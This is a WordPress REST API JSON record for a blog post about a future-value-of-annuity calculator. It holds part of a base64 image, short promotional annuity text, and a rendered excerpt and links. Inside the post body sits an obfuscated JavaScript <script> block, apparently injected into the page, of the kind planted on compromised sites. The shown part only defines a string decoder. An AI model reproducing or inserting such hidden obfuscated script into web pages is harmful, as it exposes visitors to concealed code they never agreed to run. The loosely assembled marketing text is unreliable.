Hgi14Kl+3DwHpfLzixRpnoVTRdCW+lE1augaD3Rcexk9HlBncWJjLVuk90pIxPViH62X0eUTsU2SWf4Yh+tl8NWqa3ykPUPKJKD4F8aL6cvqTGGr9DpUn8Tcw+iqFNpxpq66XmT0eWnq5o6VGDnNWlO1lwR3YookXpGLW5Ec165pDvo+SZBCea9c0h30fJMgZ1w45Z9AAaZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0b0d8yqd\/LyQPOT0X0ecyqd\/LyQJlxcepUUAObooAUuBQoypRhVrLWXMtILWijKstYFrRRouLWRVtijRcUAssUcS8EGPZGyZLCwVj2RsmSwsDSzZLoorYqkBVFQVKI3r1zSHfR8kyBk8175nDvo+SZAzrhxyz6AA0wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHovo85lU7+XkgATLjWPUpKAHNtRlAAKFrAIqhayoAsZayoIq0owALQAAABFAAAAAqqJlyKgkRUqAaRG9e+Z0++j5JkCAOuPHLLoADTIAAAAAAAAAAAAAAAAAAP\/Z\" width=\"355px\" alt=\"future annuity calculator\"\/><\/p>\n<p><p>Unlike spreadsheets and financial calculators, there is no convention of negative numbers in our future value of annuity calculator and only positive values must be entered. Find out how an annuity can offer you guaranteed monthly income throughout your retirement. Speak with one of our qualified financial professionals today to discover which of our industry-leading annuity products fits into your long-term financial strategy. A financial advisor can help you understand the benefits and drawbacks of variable annuities and decide whether this product is right for you.<\/p>\n<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Investors can determine the future value of their annuity by considering the annuity amount, projected rate of return, and number of periods. There are also implications whether the annuity payments are made at the beginning of the period or at the end. Commissions\u2013Annuities are generally sold by insurance brokers who charge a fee of anywhere [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18],"tags":[],"class_list":["post-572","post","type-post","status-publish","format-standard","hentry","category-bookkeeping-3"],"_links":{"self":[{"href":"https:\/\/nawaniassociates.com\/blog\/wp-json\/wp\/v2\/posts\/572","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nawaniassociates.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nawaniassociates.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nawaniassociates.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/nawaniassociates.com\/blog\/wp-json\/wp\/v2\/comments?post=572"}],"version-history":[{"count":1,"href":"https:\/\/nawaniassociates.com\/blog\/wp-json\/wp\/v2\/posts\/572\/revisions"}],"predecessor-version":[{"id":573,"href":"https:\/\/nawaniassociates.com\/blog\/wp-json\/wp\/v2\/posts\/572\/revisions\/573"}],"wp:attachment":[{"href":"https:\/\/nawaniassociates.com\/blog\/wp-json\/wp\/v2\/media?parent=572"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nawaniassociates.com\/blog\/wp-json\/wp\/v2\/categories?post=572"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nawaniassociates.com\/blog\/wp-json\/wp\/v2\/tags?post=572"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}